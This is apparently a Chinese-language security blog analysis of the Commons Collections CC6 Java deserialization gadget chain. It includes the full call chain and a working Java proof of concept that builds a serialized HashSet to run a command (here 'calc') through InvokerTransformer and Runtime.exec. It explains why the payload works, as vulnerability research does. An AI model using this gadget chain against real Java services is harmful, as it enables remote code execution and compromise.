利用链分析

利用链:

1
2
3
4
5
6
7
8
9
10
11
12
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()

和CC1相比,没有使用AnnotationInvocationHandler,但同样都是想办法调用了LazyMap#get()从而执行了transform,达到利用目的。

TiedMapEntrygetValue()调用了get()。(这里的map是构造好的LazyMap对象)hashCode()中调用了getValue()

image-20220111232159039

image-20220111232210606

HashSet.readObject()中调用了HashMap.put():

image-20220111233120936

进而调用HashMap.hash(),这要求这里的map是HashMap对象

image-20220111233215114

然后调用hashcode()

image-20220111233319579

这里要求k对象是TiedMapEntry对象

所以在整个POC中需要三次传参,将构造好的lazyMap传给TiedMapEntry,将TiedMapEntry传给HashMap,将这个HashMap传给HashSet,然后返回这个HashSet

根据这个流程,可以得到以下的POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {

Transformer Testtransformer = new ChainedTransformer(new Transformer[]{});

Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

Map map=new HashMap();
Map lazyMap=LazyMap.decorate(map,Testtransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");

HashSet hashSet=new HashSet(1);
hashSet.add(tiedMapEntry);
lazyMap.remove("test1");

//通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(Testtransformer, transformers);

ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
objectOutputStream.writeObject(hashSet);
objectOutputStream.close();

ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.out"));
objectInputStream.readObject();

}

后面还调用了lazyMap.remove方法将test1给移除,这是因为在执行的时候如果没使用lazyMap.removetest1给移除掉将不会进入到该判断语句里面去。

image-20220111233913811

问题分析:

为什么会造成这里的key是test1呢,这要从hashSet.add(tiedMapEntry);这一行代码开始分析

image-20220111235040179

调用了HashMap的put方法

image-20220111235238824

然后调用了hash(key)这里的key是tiedMapEntry

image-20220111235335732

tiedMapEntryhashCode

image-20220111235406341

image-20220111235507418

这里的map是lazyMap

image-20220111235605431

然后lazyMap的get函数直接调用了put函数,直接把key也就是test1给put进去了,所以反序列号的时候就因为key不为空导致无法触发漏洞。